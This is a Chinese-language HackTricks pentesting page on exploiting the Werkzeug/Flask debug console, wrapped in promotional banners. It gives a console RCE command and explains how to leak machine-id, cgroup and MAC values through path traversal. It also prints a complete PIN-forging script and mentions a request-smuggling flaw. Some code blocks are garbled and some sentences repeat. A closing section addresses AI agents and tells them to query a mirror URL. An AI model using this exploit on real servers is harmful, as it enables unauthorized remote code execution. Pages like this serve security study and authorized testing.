# Werkzeug / Flask Debug

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)\*\* 上关注我们\*\*。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>

<figure><img src="/files/LVZ3PLDyldGi3gva0h7n" alt=""><figcaption></figcaption></figure>

**即时可用的漏洞评估和渗透测试设置**。使用 20 多种工具和功能从侦察到报告运行完整的渗透测试。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块，让他们有更多时间深入挖掘、弹出 shell 并享受乐趣。

{% embed url="<https://pentest-tools.com/>" %}

## 控制台 RCE

如果调试处于活动状态，您可以尝试访问 `/console` 并获取 RCE。

```python
__import__('os').popen('whoami').read();
```

![](/files/TSdFXoiVHuDMVG1njqer)

在互联网上还有一些漏洞，比如[这个](https://github.com/its-arun/Werkzeug-Debug-RCE)或者在metasploit中的一个。

## Pin Protected - 路径遍历

在某些情况下，**`/console`** 端点将受到 pin 的保护。如果您有一个**文件遍历漏洞**，您可以泄露所有必要的信息来生成该 pin。

### Werkzeug 控制台 PIN 利用

强制应用中的调试错误页面以查看此内容：

```
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```

遇到“控制台已锁定”情况时，尝试访问Werkzeug的调试界面，需要输入PIN码才能解锁控制台。建议通过分析Werkzeug的调试初始化文件(`__init__.py`)中的PIN码生成算法来利用控制台PIN码。可以从[**Werkzeug源代码存储库**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py)中研究PIN码生成机制，但建议通过文件遍历漏洞获取实际服务器代码，以避免潜在的版本差异。

要利用控制台PIN码，需要两组变量，`probably_public_bits`和`private_bits`：

#### **`probably_public_bits`**

* **`username`**：指的是启动Flask会话的用户。
* **`modname`**：通常被指定为`flask.app`。
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**：通常解析为**Flask**。
* **`getattr(mod, '__file__', None)`**：表示Flask目录中`app.py`的完整路径（例如，`/usr/local/lib/python3.5/dist-packages/flask/app.py`）。如果不适用`app.py`，请尝试`app.pyc`。

#### **`private_bits`**

* **`uuid.getnode()`**：获取当前计算机的MAC地址，使用`str(uuid.getnode())`将其转换为十进制格式。
* 要**确定服务器的MAC地址**，必须识别应用程序使用的活动网络接口（例如`ens3`）。在存在不确定性的情况下，\*\*泄露`/proc/net/arp`**以查找设备ID，然后从**`/sys/class/net/<device id>/address`\*\*中提取MAC地址。
* 将十六进制MAC地址转换为十进制可以按以下示例进行：

```python
# 示例MAC地址：56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
```

* **`get_machine_id()`**：将`/etc/machine-id`或`/proc/sys/kernel/random/boot_id`的数据与`/proc/self/cgroup`最后一个斜杠(`/`)后的第一行连接起来。

<details>

<summary>`get_machine_id()`的代码</summary>

\`\`\`python def get\_machine\_id() -> t.Optional\[t.Union\[str, bytes]]: global \_machine\_id

if \_machine\_id is not None: return \_machine\_id

def \_generate() -> t.Optional\[t.Union\[str, bytes]]: linux = b""

## machine-id is stable across boots, boot\_id is not.

for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot\_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue

if value: linux += value break

## Containers share the same machine id, add some cgroup

## information. This is used outside containers too but should be

## relatively stable across boots.

try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")\[2] except OSError: pass

if linux: return linux

## On OS X, use ioreg to get the computer's serial number.

try:

````
</details>

在整理所有必要数据后，可以执行利用脚本来生成Werkzeug控制台PIN：

在整理所有必要数据后，可以执行利用脚本来生成Werkzeug控制台PIN。该脚本使用组装的`probably_public_bits`和`private_bits`来创建一个哈希，然后经过进一步处理生成最终的PIN。以下是执行此过程的Python代码：
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)
````

这个脚本通过对连接的位进行哈希处理，添加特定的盐（`cookiesalt` 和 `pinsalt`），并格式化输出来生成 PIN。重要的是要注意，需要准确从目标系统获取 `probably_public_bits` 和 `private_bits` 的实际值，以确保生成的 PIN 与 Werkzeug 控制台预期的 PIN 匹配。

如果你使用的是 Werkzeug 的**旧版本**，尝试将**哈希算法更改为 md5**，而不是 sha1。

### Werkzeug Unicode 字符

正如在[**这个问题**](https://github.com/pallets/werkzeug/issues/2833)中观察到的，Werkzeug 在头部包含 Unicode 字符时不会关闭请求。正如[**这篇文章**](https://mizu.re/post/twisty-python)中所解释的，这可能导致 CL.0 请求走私漏洞。

这是因为，在 Werkzeug 中可以发送一些**Unicode**字符，这会导致服务器**中断**。然而，如果使用带有头部\*\*`Connection: keep-alive`**的 HTTP 连接，则请求的主体不会被读取，连接仍将保持打开状态，因此请求的**主体**将被视为**下一个 HTTP 请求\*\*。

### 参考资料

* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
* [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
* [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)

<img src="/files/LVZ3PLDyldGi3gva0h7n" alt="" data-size="original">

**即时提供的漏洞评估和渗透测试设置**。从侦察到报告，使用 20 多种工具和功能运行完整的渗透测试。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块，让他们有更多时间深入挖掘、弹出 shell 并享受乐趣。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/network-services-pentesting/pentesting-web/werkzeug.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
